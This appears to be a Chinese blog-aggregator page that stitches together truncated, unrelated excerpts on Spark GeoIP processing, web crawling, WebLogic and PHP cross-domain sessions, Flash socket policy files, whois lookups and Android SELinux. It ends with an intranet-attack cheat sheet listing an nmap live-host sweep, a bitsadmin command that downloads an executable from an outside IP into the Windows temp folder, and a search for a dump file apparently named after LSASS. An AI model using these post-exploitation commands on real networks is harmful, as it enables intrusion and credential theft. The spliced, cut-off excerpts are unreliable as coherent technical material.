domain

spark操作geoip的domain数据库

本小妞迷上赌 提交于 2020-03-03 09:42:15
val ipv4 = sc.textFile("hdfs://hbase11:9000/sparkTsData/GeoIP2-Domain-Blocks-IPv4.csv").map(_.split(",")).map(p=> (p(1),p(0))) val ipv6 = sc.textFile("hdfs://hbase11:9000/sparkTsData/GeoIP2-Domain-Blocks-IPv6.csv").map(_.split(",")).map(p=> (p(1),p(0))) val ip = ipv4 union ipv6 ip.saveAsTextFile("hdfs://hbase11:9000/sparkTsData/combineIp") val ipSorted = ip.countByKey() val ipSortedRdd = sc.parallelize(ipSorted.toList) ipSortedRdd.collect ipSortedRdd.filter(p=> p._2.toLong > 1).count val ipSortedRddDup = ipSortedRdd.filter(p=> p._2.toLong > 1) 来源: https://www.cnblogs.com/mayidudu/p/5761479

python爬虫之selenium、phantomJs

蹲街弑〆低调 提交于 2020-03-02 20:01:18
图片懒加载技术 什么是图片懒加载技术 图片懒加载是一种网页优化技术。图片作为一种网络资源,在被请求时也与普通静态资源一样,将占用网络资源,而一次性将整个页面的所有图片加载完,将大大增加页面的首屏加载时间。为了解决这种问题,通过前后端配合,使图片仅在浏览器当前视窗内出现时才加载该图片,达到减少首屏图片请求数的技术就被称为“图片懒加载”。 如何实现图片懒加载技术 在网页源码中,在img标签中首先会使用一个“伪属性”(通常使用src2,original......)去存放真正的图片链接而并非是直接存放在src属性中。当图片出现到页面的可视化区域中,会动态将伪属性替换成src属性,完成图片的加载。 如何破解图片懒加载技术 其实很简单,在对标签属性进行定位的时候,仔细观察它真正的属性进行提取。 例如: import requests from lxml import etree def main(): responses = requests.get(url=url, headers=headers) coding = responses.apparent_encoding responses.encoding = coding res_text = responses.text # 创建etree对象 tree = etree.HTML(res_text) div_lst = tree

Weblogic两个域 session冲突

℡╲_俬逩灬. 提交于 2020-03-02 11:27:11
转自: http://hi.baidu.com/576699909/blog/item/9d93db1fe0cdc2e01ad57659.html 。 在将LWAP开发的应用迁移为Oracle ADF来开发的过程中,LWAP和ADF应用都部署在同一个Weblogic服务器的两个Domain下, 当在IE中首先访问ADF应用,然后再另外一个标签页中访问LWAP应用,就会发现ADF应用出现问题,就会发现 session 丢失。 问题是由于客户端访问ADF应用时,对应的Weblogic域会保留一个名为JSessionId的Cookie,记录ADF域的信息,JSessionId为 Weblogic cookie-name的默认值,而当再次访问LWAP时,客户端Cookie中的JSessionId的值被LWAP的域修改了,此时再次访问 之前的ADF应用就会导致 Session 丢失。 网上可以找到关于这个问题的解决方案: 1,设置web应用的Cookie名称,让它们拥有不同的JSessionId 在LWAP和ADF的weblogic.xml文件添加如下属性 < session -descriptor> < session -param> <param-name>CookieName</param-name> <param-value>HADFCookie</param-value> </

Flash Socket通信的安全策略问题 843端口

烂漫一生 提交于 2020-03-02 07:57:22
1、问题描述 将flash发布为html格式后,加载页面后,swf无法与服务器进行socket通信。Flash端显示的错误为: securityErrorHandler信息: [SecurityErrorEvent type="securityError" bubbles=false cancelable=false eventPhase=2 text="Error #2048"] 在服务器端显示的信息是由客户端尝试进行连接,但是无法接受数据。接受的数据显示为空。 2.问题原因: 最新的Flash player 9.0.124.0,当flash文件要进行socket通信的时候,需要向服务器端获取crossdomain.xml文件。如果找不到就出现客户端无法连接服务器的现象。 了解flash发起socket通信的三个过程 当封装在页面的flash发起socket通信请求的时候会先寻找服务器端的843端口,获取Crossdomain.xml文件,当服务器没有开启843的时候,flashPlayer会检查发起请求的swf文件中中有没有使用Security.loadPolicyFile来加载策略文件Crossdomain.xml,如果还是没有就会看这个发起请求的swf要连接的目标端口有没有策略文件。如果都没有那么连接失败,返回如上的出错提示。 为什么老版本的Flash

关于跨域策略文件crossdomain.xml文件

北战南征 提交于 2020-03-02 07:30:40
http://www.xiaonei.com/crossdomain.xml <!– http://www.xiaonei.com/ –> ? <cross-domain-policy> <allow-access-from domain=”*.xiaonei.com”/> <allow-access-from domain=”xiaonei.com”/> </cross-domain-policy> 这是很标准的做法,我就让我自己的域以及我的子域来获取数据。 淘宝的: http://www.taobao.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=”*.taobao.com”/> <allow-access-from domain=”*.taobao.net”/> <allow-access-from domain=”*.taobaocdn.com”/> <allow-access-from domain=”*.allyes.com”/> </cross-domain-policy> 红色的一行是淘宝的CDN所在的域,所谓内容分发网络。 绿色的一行是淘宝的广告商了, http://www.allyes.com/ 好耶广告网络,只是不清楚是不是仍然再卖淘宝的广告?

处理session跨域几种的方案

为君一笑 提交于 2020-03-02 01:46:53
常用跨域共用session的是登录模块,我相信很多开发的朋友的都遇到过,只需要一个地方登录,相关联的网站也是处于登录状态。两种情况:一种9streets.cn和a.9streets.cn之间,另一种是a.com b.com之间,这几天总结了一下处理方法。 方式一 : 在一,二级域名下调用如下代码: <?php include("DBsession.php"); $_SESSION['usssser_oke'] = 'xxssssss'; $_SESSION['user_oke'] = 'xxsss'; ?> DBsession.php <?php /** /** 直接引用api QQ登录的session写法,配置相关配置才行哈 * 设置session配置 */ /** * CREATE TABLE `tbl_session` ( * `session_id` varchar(255) binary NOT NULL default '', * `session_expires` int(10) unsigned NOT NULL default '0', * `session_data` text, * PRIMARY KEY (`session_id`) * ) ENGINE=MyISAM; */ class Session { //mysql的主机地址 const db

php 获取域名的whois 信息

三世轮回 提交于 2020-03-01 17:39:16
首先先了解几个文件操作函数: fwrite() 函数写入文件(可安全用于二进制文件)。 fwrite() 把 string 的内容写入文件指针 file 处。 如果指定了 length,当写入了 length 个字节或者写完了 string 以后,写入就会停止,视乎先碰到哪种情况。 fwrite() 返回写入的字符数,出现错误时则返回 false。 <?php $file = fopen("test.txt","w"); echo fwrite($file,"Hello World. Testing!"); fclose($file); ?> feof(file) 函数检测是否已到达文件末尾 (eof)。 如果文件指针到了 EOF 或者出错时则返回 TRUE, 否则返回一个错误(包括 socket 超时),其它情况则返回 FALSE。 file 参数是一个文件指针。这个文件指针必须有效,并且必须指向一个由 fopen() 或 fsockopen() 成功打开(但还没有被 fclose() 关闭)的文件。 提示:feof() 函数对遍历长度未知的数据很有用。 注意:如果服务器没有关闭由 fsockopen() 所打开的连接,feof() 会一直等待直到超时而返回 TRUE。默认的超时限制是 60 秒,可以使用 stream_set_timeout() 来改变这个值。 注意

Android SELinux开发入门指南之SELinux基础知识

我们两清 提交于 2020-02-28 07:02:51
   Android SELinux开发入门指南之SELinux基础知识 前言    SEAndroid是在Android系统中基于SELinux推出的强制访问控制模型,来完善自主访问模型中只要取得root权限就可以为所欲为的情况。 SELinux是一种基于域-类型(domain-type)模型的强制访问控制(MAC)安全系统,其原则是任何进程想在SELinux系统中干任何事,都必须先在安全策略的配置文件中赋予权限。凡是没有在安全策略中配置的权限,进程就没有该项操作的权限。在SELinux出现之前,Linux的安全模型是DAC(DiscretionaryAccess Control),译为自主访问控制。其核心思想是进程理论上所拥有的权限与运行它的用户权限相同。比如,以root用户启动shell,那么shell就有root用户的权限,在Linux系统上能干任何事。这种管理显然比较松散。在SELinux中,如果需要访问资源,系统会先进行DAC检查,不通过则访问失败,然后再进行MAC权限检查。 一. SELinux基础知识 SELinux涉及的基本知识比较多,下面让我们来一一细说。 1.1 SELinux的三种模式 SELinux分为三种模式,下面我们看看究竟是那三种模式: Disable模式 此种模式关闭SELinux检测,不进行任何SELinux权限检查,畅通无阻。

关于跨域策略文件crossdomain.xml文件

泪湿孤枕 提交于 2020-02-27 04:28:45
http://www.xiaonei.com/crossdomain.xml <!– http://www.xiaonei.com/ –> ? <cross-domain-policy> <allow-access-from domain=”*.xiaonei.com”/> <allow-access-from domain=”xiaonei.com”/> </cross-domain-policy> 这是很标准的做法,我就让我自己的域以及我的子域来获取数据。 淘宝的: http://www.taobao.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=”*.taobao.com”/> <allow-access-from domain=”*.taobao.net”/> <allow-access-from domain=”*.taobaocdn.com”/> <allow-access-from domain=”*.allyes.com”/> </cross-domain-policy> 红色的一行是淘宝的CDN所在的域,所谓内容分发网络。 绿色的一行是淘宝的广告商了,http://www.allyes.com/好耶广告网络,只是不清楚是不是仍然再卖淘宝的广告?

内网攻防经典技术备忘录

冷暖自知 提交于 2020-02-26 23:04:42
前言 很早就想专门写一篇关于内网的文章,一直没有腾出空来,万万没想到,写下这篇文章的时候,竟然是我来某实验室实习的时间段:) 信息搜集 nmap扫描实时存活的ip nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips 常用命令 ipsping icmp连通性 nslookup www.baidu.com vps-ip dns连通性 dig @vps-ip www.baidu.com curl vps:8080 http连通性 tracert bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008 fuser -nv tcp 80 查看端口pid rdesktop -u username ip linux连接win远程桌面 (有可能不成功) where file win查找文件是否存在 找路径,Linux下使用命令find -name *.jsp来查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i netstat -apn | grep